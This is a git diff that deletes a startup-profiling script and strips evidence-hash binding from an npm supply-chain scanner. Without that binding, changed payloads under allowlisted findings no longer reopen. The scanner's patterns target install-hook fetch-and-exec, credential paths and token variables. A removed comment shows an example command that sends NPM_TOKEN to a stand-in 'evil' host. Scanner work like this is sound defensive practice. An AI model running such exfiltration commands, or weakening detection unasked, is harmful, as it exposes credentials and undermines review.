keeps the inherited stdout handle, the reader thread never sees EOF, and - --repeats strands one server per iteration on the shared UNSLOTH_STUDIO_HOME. - taskkill /T walks the tree, as unsloth_cli/commands/start.py already does. - """ - if proc.poll() is not None: - return - if os.name == "nt": - try: - killed = subprocess.run( - ["taskkill", "/PID", str(proc.pid), "/T", "/F"], - capture_output = True, - timeout = 30, - check = False, - ) - if killed.returncode == 0: - return - except Exception: - # taskkill missing or timed out; fall through so the stub still dies. - pass - # check=False: a nonzero taskkill does not raise, so fall through as well. - proc.terminate() - - -def profile_launch( - bin_path: str, - port: int, - timeout_s: int = 300, -) -> dict: - """Spawn the backend the way the desktop app does and time it to first 200.""" - log_lines: list[str] = [] - first_byte: list[float] = [] - t0 = time.perf_counter() - proc = subprocess.Popen( - [bin_path, "studio", "--api-only", "-H", "127.0.0.1", "-p", str(port)], - cwd = REPO_ROOT, - stdout = subprocess.PIPE, - stderr = subprocess.STDOUT, - text = True, - bufsize = 1, - ) - - def _drain() -> None: - # Runs alongside the health polling: the first read timestamps the spawn - # phase, and an undrained pipe blocks the backend before it binds. - for line in proc.stdout: - if not first_byte: - first_byte.append(time.perf_counter() - t0) - log_lines.append(line.rstrip("\n")) - - reader = threading.Thread(target = _drain, daemon = True) - reader.start() - - t_healthz = None - deadline = t0 + timeout_s - try: - while time.perf_counter() < deadline: - if proc.poll() is not None: - break - if t_healthz is None: - for url in ( - f"http://127.0.0.1:{port}/api/health", - f"http://127.0.0.1:{port}/healthz", - ): - try: - with urllib.request.urlopen(url, timeout = 2) as r: - if r.status == 200: - t_healthz = time.perf_counter() - t0 - break - except (urllib.error.URLError, OSError, TimeoutError): - pass - if t_healthz is not None: - break - time.sleep(0.25) - finally: - _terminate_tree(proc) - try: - # Safe: the reader drains the pipe, so the child cannot block on write(). - proc.wait(timeout = 30) - except subprocess.TimeoutExpired: - proc.kill() - proc.wait() - reader.join(timeout = 10) - - t_first_byte = first_byte[0] if first_byte else None - lifespan_ms = None - for line in log_lines: - m = re.search(r"lifespan startup completed in ([\d.]+)ms", line) - if m: - lifespan_ms = float(m.group(1)) - return { - "spawn_seconds": round(t_first_byte, 3) if t_first_byte is not None else None, - "healthz_seconds": round(t_healthz, 3) if t_healthz is not None else None, - "lifespan_ms": lifespan_ms, - "reached_healthz": t_healthz is not None, - "log_tail": log_lines[-25:], - } - - -def python_version_of(python: str) -> str: - """Version of the interpreter that runs the imports, not the one running us. - - --python points at the installed Studio venv while this script runs under the - runner's system python, so platform.python_version() would label it wrong. - """ - if python == sys.executable: - return platform.python_version() - try: - proc = subprocess.run( - [python, "-c", "import platform; print(platform.python_version())"], - capture_output = True, - text = True, - timeout = 60, - ) - if proc.returncode == 0 and proc.stdout.strip(): - return proc.stdout.strip() - except (OSError, subprocess.SubprocessError): - pass - return "unknown" - - -def find_bin() -> str | None: - home = os.environ.get("UNSLOTH_STUDIO_HOME") or str(Path.home() / ".unsloth" / "studio") - names = ["unsloth.exe", "unsloth"] if platform.system() == "Windows" else ["unsloth"] - subdirs = ["unsloth_studio/Scripts", "unsloth_studio/bin", "bin", "Scripts"] - for sd in subdirs: - for n in names: - p = Path(home) / sd / n - if p.exists(): - return str(p) - return shutil.which("unsloth") - - -def main(argv: list[str]) -> int: - ap = argparse.ArgumentParser( - description = __doc__, formatter_class = argparse.RawDescriptionHelpFormatter - ) - ap.add_argument( - "--repeats", - type = int, - default = 1, - help = "launch repeats; the median is reported (imports are measured once)", - ) - ap.add_argument( - "--python", - default = sys.executable, - help = "interpreter used for the import profile (default: this one)", - ) - ap.add_argument("--bin", help = "path to the unsloth CLI (default: autodetect)") - ap.add_argument( - "--import-only", - action = "store_true", - help = "skip the server phases (no install needed beyond the deps)", - ) - ap.add_argument( - "--max-healthz-seconds", - type = float, - help = "fail if the median time to a healthy port exceeds this", - ) - ap.add_argument("--json", help = "write the full report here") - a = ap.parse_args(argv) - # range(0) launches nothing, leaving the budget check with nothing to fail on. - if a.repeats < 1: - ap.error("--repeats must be at least 1") - # Same reason: --import-only never launches anything. - if a.import_only and a.max_healthz_seconds is not None: - ap.error("--max-healthz-seconds cannot be combined with --import-only") - # nan and inf parse fine as floats but `med > budget` is then always False, - # so the gate would report success without ever bounding anything. - if a.max_healthz_seconds is not None and not math.isfinite(a.max_healthz_seconds): - ap.error("--max-healthz-seconds must be a finite number") - - report: dict = { - "platform": platform.system().lower(), - "machine": platform.machine(), - "python": python_version_of(a.python), - "cpu_count": os.cpu_count(), - } - - print("== import graph ==") - report["imports"] = profile_imports(a.python) - imp = report["imports"] - if imp.get("ok"): - print(f" import main: {imp['total_seconds']}s") - for row in imp["top_cumulative"][:8]: - print(f" {row['seconds']:7.3f}s {row['module']}") - print(" self time by package (ms):") - for k, v in list(imp["self_by_package_ms"].items())[:8]: - print(f" {v:8} ms {k}") - else: - print(f" FAILED: {imp.get('error', '')[:400]}") - - if not a.import_only: - bin_path = a.bin or find_bin() - if not bin_path: - print( - "== launch == skipped: no unsloth CLI found " - "(set UNSLOTH_STUDIO_HOME or pass --bin)" - ) - report["launch"] = {"skipped": "no unsloth CLI found"} - else: - print(f"== launch == {bin_path}") - runs = [] - for i in range(a.repeats): - r = profile_launch(bin_path, _free_port()) - runs.append(r) - print( - f" run {i + 1}: healthz={r['healthz_seconds']}s " - f"lifespan={r['lifespan_ms']}ms reached={r['reached_healthz']}" - ) - got = [r["healthz_seconds"] for r in runs if r["healthz_seconds"] is not None] - report["launch"] = { - "runs": runs, - "failed_runs": sum(1 for r in runs if not r["reached_healthz"]), - "healthz_median_seconds": round(statistics.median(got), 3) if got else None, - "healthz_max_seconds": round(max(got), 3) if got else None, - } - if got: - print( - f" median time to healthy port: {report['launch']['healthz_median_seconds']}s" - ) - - if a.json: - Path(a.json).write_text(json.dumps(report, indent = 2), encoding = "utf-8") - print(f"\nwrote {a.json}") - - if a.max_healthz_seconds is not None: - launch = report.get("launch") or {} - med = launch.get("healthz_median_seconds") - failed = launch.get("failed_runs") or 0 - if failed: - # Failed launches fail the budget; dropping them would keep only the fast ones. - print( - f"::error::startup regression: {failed} of {len(launch.get('runs') or [])} " - f"launches never became healthy within the timeout" - ) - return 1 - if med is None: - # Nothing measured: exiting 0 would pass a requested budget without a - # single health request, so fail closed. - print( - "::error::startup regression: no healthz measurement, so the " - f"{a.max_healthz_seconds}s budget was never checked " - f"({launch.get('skipped') or 'launch phase produced no runs'})" - ) - return 1 - elif med > a.max_healthz_seconds: - print( - f"::error::startup regression: {med}s median to a healthy port " - f"exceeds the {a.max_healthz_seconds}s budget" - ) - return 1 - return 0 - - -if __name__ == "__main__": - raise SystemExit(main(sys.argv[1:])) diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index 6c83552727..c1d156d40a 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -40,10 +40,8 @@ from __future__ import annotations import argparse import atexit import base64 as _b64 # imported only so the IOC string-scan can detect it -import bisect import hashlib import io -import itertools import json import os import re @@ -62,7 +60,7 @@ REPO_ROOT = Path(__file__).resolve().parents[1] # Hard caps (deliberately conservative; npm tarballs in this repo are # all well under these limits, so a packaging spike is noticeable). # ───────────────────────────────────────────────────────────────────── -# Caps calibrated against the real Unsloth frontend transitive closure: +# Caps calibrated against the real Studio frontend transitive closure: # - typescript.js is 9.1 MB (TS compiler bundled into one file) # - mermaid 11.x dist/mermaid.js.map is ~12 MB (sourcemap) # - lightningcss-linux-x64-{gnu,musl}.node is 10 MB @@ -899,364 +897,20 @@ def safe_extract( # ───────────────────────────────────────────────────────────────────── -# How far back to look for an enclosing bracket opener. Symmetric with the -# forward cap so a host that sits deep inside a large options object (its opening -# `{` many properties above) still binds the whole object, not just its own line; -# a too-far start only over-binds (more context, still fail-closed), never less. -_MAX_CONT_LINES = 200 -# Hard cap on how far forward a bracket group is followed to its close, measured -# from the matched line so the tail after the match is always reachable even when -# the opener was found near the backward limit (digest input only, never -# displayed); a realistic config object closes well within it. -_MAX_GROUP_LINES = 200 - -# JS string literal (single / double / template), blanked before counting -# brackets so a bracket inside a string is not mistaken for code. -_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`") - - -_RE_BRACKETS = re.compile(r"[()\[\]{}]") -_OPENERS = frozenset("([{") - - -def _bracket_lr(line: str) -> tuple[int, int]: - """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` - where ``L`` is the count of closers with no opener earlier on the line (they - need an opener to the LEFT / on a prior line) and ``R`` is the count of openers - with no closer later on the line (they need a closer to the RIGHT / on a later - line). A plain net count (opens minus closes) collapses order and so masks a - trailing opener that follows leading closers on the same line, e.g. - ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config - object; tracking the running minimum keeps that opener visible so the group - binds the path/headers that follow. Only bracket characters are walked (pulled - out with one C-level regex pass) so a long minified line stays cheap.""" - depth = 0 - low = 0 - for ch in _RE_BRACKETS.findall(line): - if ch in _OPENERS: - depth += 1 - else: - depth -= 1 - if depth < low: - low = depth - return -low, depth - low - - -def _find_unescaped(line: str, quote: str, start: int) -> int: - """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, - or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" - i, n = start, len(line) - while i < n: - if line[i] == "\\": - i += 2 - continue - if line[i] == quote: - return i - i += 1 - return -1 - - -# A `/` is a regex literal (not division) when the previous significant character -# is none (start) or one of these expression-position chars. Used only by the -# multi-line blanked view, and the span is unioned with the single-line view, so -# an over- or under-detection only ever grows the bound span (never shrinks it). -_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") - - -def _blank_js_strings(lines: list[str]) -> list[str]: - """Replace string contents (single, double, multi-line backtick template - literals) AND regex literal bodies with spaces across ``lines``, keeping the - line count and every bracket OUTSIDE a string/regex intact, so bracket counting - never miscounts a ``)`` that lives inside a string -- including a template - literal spanning several lines or a ``/)/`` regex -- which a per-line regex - cannot blank. Escapes are honoured.""" - out: list[str] = [] - in_back = False # inside a multi-line `template` literal - prev_sig = "" # last significant non-space char (for regex-vs-division) - for line in lines: - buf: list[str] = [] - i, n = 0, len(line) - while i < n: - if in_back: - end = _find_unescaped(line, "`", i) - if end == -1: - buf.append(" " * (n - i)) - i = n - else: - buf.append(" " * (end - i + 1)) - i = end + 1 - in_back = False - prev_sig = "`" - continue - ch = line[i] - if ch in " \t": - buf.append(ch) - i += 1 - continue - if ch in "'\"`": - end = _find_unescaped(line, ch, i + 1) - if end == -1: - buf.append(" " * (n - i)) - i = n - if ch == "`": # opens a template literal that runs past this line - in_back = True - else: - buf.append(" " * (end - i + 1)) - i = end + 1 - prev_sig = "v" # a string is a value: a following `/` is division - continue - if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): - # Regex literal: blank to the closing unescaped `/` outside a `[...]` - # char class. A regex never spans lines, so no close on the line - # means this `/` is really division. - j, in_class, closed = i + 1, False, False - while j < n: - c = line[j] - if c == "\\": - j += 2 - continue - if c == "[": - in_class = True - elif c == "]": - in_class = False - elif c == "/" and not in_class: - j += 1 - closed = True - break - j += 1 - if closed: - buf.append(" " * (j - i)) - i = j - prev_sig = "v" # a regex is a value - continue - buf.append(ch) - i += 1 - prev_sig = "/" - continue - buf.append(ch) - i += 1 - prev_sig = ch - out.append("".join(buf)) - return out - - -def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: - """Precompute once per evidence call: raw lines for display, two string-blanked - views for bracket counting (single-line via regex = legacy, and multi-line - aware so a template literal spanning lines is blanked), and newline offsets for - O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole - file on every single match (which was O(matches x file size)).""" - lines = text.split("\n") - sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] - ml_blanked = _blank_js_strings(lines) - nl = [p for p, ch in enumerate(text) if ch == "\n"] - return lines, sl_blanked, ml_blanked, nl - - -# Cap on formatted matches in one evidence string; beyond it the remaining match -# texts are folded into a single digest so a huge/minified file cannot build a -# multi-megabyte evidence blob while an added/removed match past the cap still -# changes the key. -_MAX_EVIDENCE_MATCHES = 64 - - -def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: - """(start, end) line indices of the bracket group enclosing line ``idx`` in one - blanked view: scan back to the still-open opener, then forward to its close.""" - # Backward: find the line that opens a bracket still unclosed at the match, - # so a match inside a multi-line object starts from the object opener. Each line - # is reduced to (L, R) and applied in order: first the L closers consume open - # brackets from the running context (a stray closer whose opener is outside the - # window only clamps depth at 0, it never goes negative), then the R openers - # add to it. Tracking order this way (rather than a single net per line) keeps a - # trailing opener visible even when leading closers on the same line net it to - # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a - # changed path/headers after such a line ride the unchanged-hostname key. - start = idx - depth = 0 - for j in range(max(0, idx - _MAX_CONT_LINES), idx): - left, right = _bracket_lr(blanked[j]) - if left >= depth: - depth = 0 # everything opened so far in the window has closed - start = idx - else: - depth -= left - if right > 0: - if depth == 0: - start = j # outermost still-open opener begins here - depth += right - - # Forward: extend until the group opened at `start` closes past the match. The - # same order-aware reduction is used (clamping leading closers at 0) so the - # foreign `})` on the opener line does not drive the count negative and stop the - # scan before the real close. The cap is measured from the match (`idx`), not - # from `start`, so an opener found near the backward limit does not eat the - # whole forward budget and drop the path/headers/body that follow the match. - depth = 0 - end = start - for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): - left, right = _bracket_lr(blanked[j]) - depth = max(0, depth - left) + right - end = j - if j >= idx and depth <= 0: - break - return start, end - - -def _canon_preserve_strings(text: str) -> str: - """Whitespace canon that collapses runs OUTSIDE string literals to a single - space (so a reindent or spacing change between tokens stays stable) while - preserving whitespace INSIDE single/double/backtick string literals (so a - changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain - ``" ".join(text.split())`` erases both, suppressing an intra-literal payload - edit along with harmless indentation. Leading/trailing outside whitespace is - dropped; escapes inside strings are honoured. Used for the evidence hash and - the logical-line digests so the two stay consistent.""" - out: list[str] = [] - i, n = 0, len(text) - quote: str | None = None - pending_space = False - while i < n: - ch = text[i] - if quote is not None: - out.append(ch) - if ch == "\\" and i + 1 < n: - out.append(text[i + 1]) - i += 2 - continue - if ch == quote: - quote = None - i += 1 - continue - if ch.isspace(): - pending_space = True - i += 1 - continue - if pending_space and out: - out.append(" ") - pending_space = False - out.append(ch) - if ch in "'\"`": - quote = ch - i += 1 - return "".join(out) - - -def _logical_line_text( - lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int -) -> str: - """The matched line plus the bracket group it belongs to (the enclosing - multi-line object/call, so a changed ``path``/``headers``/body on another line - binds). Returns the UNION of the groups found in the single-line-blanked view - (legacy: a payload embedded inside a template still counts so its brackets bind - the call) and the multi-line-blanked view (a bracket inside a template literal - spanning lines no longer closes the group early). Unioning never shrinks the - span below either view, so neither blanking strategy can drop a line a - malicious change relies on.""" - s1, e1 = _scan_group(sl_blanked, idx) - s2, e2 = _scan_group(ml_blanked, idx) - start, end = min(s1, s2), max(e1, e2) - return " ".join(lines[start : end + 1]) - - -def _format_match( - text: str, - lines: list[str], - sl_blanked: list[str], - ml_blanked: list[str], - nl: list[int], - m: re.Match, - max_chars: int, -) -> str: - # The shown snippet is a small window around the match; append a digest of the - # full LOGICAL line (the matched line plus its bracket-continuation lines) - # whenever the snippet does not already show all of it, so a changed payload - # tail, a truncated body, or a multi-line option/header reopens. Offsets are - # mapped to line numbers via bisect over precomputed newline positions, so this - # is O(log n) instead of rescanning the file prefix for every match. - idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match - line_start = nl[idx - 1] + 1 if idx > 0 else 0 - ke = bisect.bisect_left(nl, m.end()) - line_end = nl[ke] if ke < len(nl) else len(text) - full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) - start = max(line_start, m.start() - 30) - end = min(line_end, m.end() + 30) - snippet = text[start:end].replace("\n", " ") - if len(snippet) > max_chars: - snippet = snippet[:max_chars] + "..." - if snippet != full_logical: - # Normalize before digesting, matching _evidence_hash, so a formatter-only - # reindent of the bound continuation lines does not reopen -- but preserve - # whitespace inside string literals so a changed request/payload body does. - canon = _canon_preserve_strings(full_logical) - digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() - snippet = f"{snippet} sha256:{digest}" - return snippet - - -def _stream_overflow_digest( - matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] -) -> tuple[int, str]: - """A single digest binding the LOGICAL line (the bound bracket-group context, - not just the regex match text) of every overflow match in the iterable, plus - the count of matches folded. Streams the matches (any iterable of re.Match) so a - huge overflow never materializes a list. Whitespace-normalized to match - _evidence_hash so a reindent does not reopen.""" - h = hashlib.sha256() - count = 0 - for m in matches: - _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) - count += 1 - return count, h.hexdigest() - - -def _fold_overflow_match( - h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] -) -> None: - """Fold one overflow match's whitespace-normalized logical-line context into the - running hash ``h``. Shared by _stream_overflow_digest and the inline overflow - fold in _outbound_host_evidence so both produce the identical digest.""" - idx = bisect.bisect_left(nl, m.start()) - ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) - h.update(b"\x00") - h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) - - def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - # Record every match (not a truncated sample) so an extra match appended to an - # already-flagged file changes the evidence instead of riding the first few. - # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest - # (binding their logical-line context) so the evidence string stays bounded - # while a changed payload past the cap still reopens. The matches are streamed - # from finditer rather than materialized into a list: a generated file can - # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a - # re.Match per occurrence before applying the cap would stall or OOM the scan. - it = pat.finditer(text) - shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES)) - if not shown_matches: + m = pat.search(text) + if not m: return "" - lines, sl_blanked, ml_blanked, nl = _index_text(text) - shown = [ - _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches - ] - # Fold the rest (past the cap) into one digest as they arrive, never building a - # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:]. - overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl) - if overflow_count: - shown.append(f"(+{overflow_count} more) sha256:{digest}") - return " | ".join(shown) - - -def _ioc_evidence(text: str, needle: str) -> str: - """Matched-line context (with bracket-group continuation) for a literal IOC - needle, so a changed adjacent fetch/exfil body reopens the key instead of - riding the bare constant. Falls back to the needle itself if, defensively, - nothing matches (the caller only reaches here when ``needle in text``).""" - return _evidence(text, re.compile(re.escape(needle))) or needle + start = max(0, m.start() - 30) + end = min(len(text), m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + return snippet LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare") @@ -1475,18 +1129,6 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: body = scripts.get(hook) if not isinstance(body, str): continue - # Pin the whole lifecycle body via one digest shared by every lifecycle - # finding below: a script that keeps the matched signal but changes - # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN" - # https://evil`) must reopen. The stored evidence is a bounded matched - # snippet plus this digest, never the entire body, so `--write-baseline` - # on a package with a multi-MiB install script does not bloat the baseline - # JSON while the digest still binds the full body. Normalized to match - # _evidence_hash so a reindent alone does not reopen, while whitespace - # inside quoted strings is preserved so a changed quoted payload does. - body_digest = hashlib.sha256( - _canon_preserve_strings(body).encode("utf-8", "replace") - ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -1494,7 +1136,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", + evidence = body, detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -1513,10 +1155,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = ( - f"{_evidence(body, re.compile(re.escape(path_substr)))} " - f"body-sha256:{body_digest}" - ), + evidence = body, detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -1532,7 +1171,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", + evidence = _evidence(body, _JS_ENV_TOKEN), detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1598,60 +1237,6 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False -def _outbound_host_evidence(text: str, host: str) -> str: - """Evidence capturing the host WITH its outbound context (URL path, fetch - call, host config), so a changed path/headers/body reopens the key instead - of riding the bare host literal. Falls back to the host if none matches.""" - host_re = re.escape(host) - patterns = ( - re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), - re.compile( - rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" - rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", - re.IGNORECASE, - ), - # Host-config form: capture the whole line (path/headers/body), so a - # changed outbound payload on the same hostname line reopens the key. - re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), - ) - # Record EVERY outbound context for the host, not just the first form that - # matches: a file that already has a baselined URL for the host and later adds - # a separate host-config request (or a second URL) must change the evidence so - # the new payload cannot inherit the old key. Forms are claimed in order, and a - # region already claimed by an earlier form is skipped, so the common - # single-context case keeps its existing snippet. Each form is capped at - # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a - # minified file cannot make the overlap check quadratic; once chosen is full - # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a - # list, so a host repeated millions of times cannot OOM the scan) and an added - # context still reopens. - lines, sl_blanked, ml_blanked, nl = _index_text(text) - claimed: list[tuple[int, int]] = [] - chosen: list[re.Match] = [] - overflow_count = 0 - overflow_hash = hashlib.sha256() - for pat in patterns: - for m in pat.finditer(text): - if len(chosen) < _MAX_EVIDENCE_MATCHES: - # Overlap check runs only while filling the display list, so - # `claimed` is bounded by the cap and this stays O(cap) per match - # (not quadratic), while every later match is still counted below. - if any(m.start() < e and s < m.end() for s, e in claimed): - continue - claimed.append((m.start(), m.end())) - chosen.append(m) - else: - _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) - overflow_count += 1 - if not chosen: - return host - chosen.sort(key = lambda m: m.start()) - shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] - if overflow_count: - shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") - return " | ".join(shown) - - def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] @@ -1663,10 +1248,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if rel.lower().endswith(_JS_FAMILY_SUFFIXES): text = _strip_js_noncode(text) - # IOC substrings (literal, case-sensitive). Evidence is the matched-line - # context (with its bracket-group continuation), not the bare needle: an IOC - # host/hash left in place while the adjacent fetch/exfil body changes must - # reopen the key instead of riding the constant. + # IOC substrings (literal, case-sensitive). for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1675,14 +1257,12 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = _ioc_evidence(text, needle), + evidence = needle, detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context - # (path/headers/body) when present so a changed exfil payload on the same call - # reopens; falls back to the bare host when it is not in an outbound call. + # Cred surfaces, tier 1: hosts with no legit use; bare substring. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1691,7 +1271,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = _outbound_host_evidence(text, needle), + evidence = needle, detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1709,7 +1289,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = _outbound_host_evidence(text, needle), + evidence = needle, detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1813,7 +1393,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = _ioc_evidence(text, needle), + evidence = needle, detail = f"{why}: {needle!r}", ) ) @@ -1873,11 +1453,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") -# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new -# payload under an already-listed package/path/pattern is not auto-suppressed; v2 -# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline -# with entries is ignored (fail closed) rather than mis-applied. -_BASELINE_SCHEMA_VERSION = 3 +# Bumped when the entry-key semantics change. v2 keys on the package-relative +# path; v1 stored only a basename, so a v1 entry could suppress a same-named file +# in a different directory. A pre-v2 baseline with entries is ignored (fail +# closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 2 def _norm_pkg_name(display: str) -> str: @@ -1906,28 +1486,12 @@ def _relpath_in_package(filename: str) -> str: return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f -def _evidence_hash(evidence: str) -> str: - """Stable digest of the matched evidence. The npm snippet carries no line - markers, so it is already version-stable; whitespace outside string literals is - collapsed (reindent-stable) while whitespace inside literals is preserved, so a - changed payload body reopens but a formatter reindent does not.""" - canon = _canon_preserve_strings(evidence or "") - return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() +def _finding_key(f: Finding) -> tuple[str, str, str]: + """Stable allowlist key: normalized package, package-relative path, pattern.""" + return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) -def _finding_key(f: Finding) -> tuple[str, str, str, str]: - """Allowlist key: normalized package, package-relative path, pattern, and a - hash of the matched evidence -- so changed flagged code under an already-listed - package/path/pattern reopens instead of riding the reviewed entry.""" - return ( - _norm_pkg_name(f.package), - _relpath_in_package(f.filename), - f.pattern, - _evidence_hash(f.evidence or f.detail), - ) - - -def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: +def _load_baseline(path: str) -> set[tuple[str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -1937,55 +1501,27 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() - if not isinstance(data, dict): - print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) - return set() entries = data.get("entries", []) - if not isinstance(entries, list): - print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) - return set() - # v2 shares v3's package-relative keying, so its entries migrate by recomputing - # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. - if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): + if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: print( f" [WARN] baseline schema v{data.get('version')} predates package-relative " f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", file = sys.stderr, ) return set() - keys: set[tuple[str, str, str, str]] = set() - legacy = 0 + keys: set[tuple[str, str, str]] = set() for e in entries: - if not isinstance(e, dict): - continue try: - evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") - if not e.get("evidence_hash"): - legacy += 1 - keys.add( - ( - _norm_pkg_name(e["package"]), - _relpath_in_package(e["file"]), - e["pattern"], - evidence_hash, - ) - ) + keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) except (KeyError, TypeError): continue - if legacy: - print( - f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " - f"not suppress until regenerated with --write-baseline (findings reopen " - f"rather than risk hiding changed code under a coarse key)", - file = sys.stderr, - ) return keys def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: """Persist at-or-above-threshold findings as an allowlist for triage.""" entries = [] - seen: set[tuple[str, str, str, str]] = set() + seen: set[tuple[str, str, str]] = set() for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): if _SEVERITY_RANK[f.severity] > threshold_rank: continue @@ -1993,24 +1529,21 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> if key in seen: continue seen.add(key) - evidence = f.evidence or f.detail entries.append( { "package": _norm_pkg_name(f.package), "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, - "evidence": evidence, - "evidence_hash": _evidence_hash(evidence), + "evidence": (f.evidence or f.detail)[:240], } ) doc = { 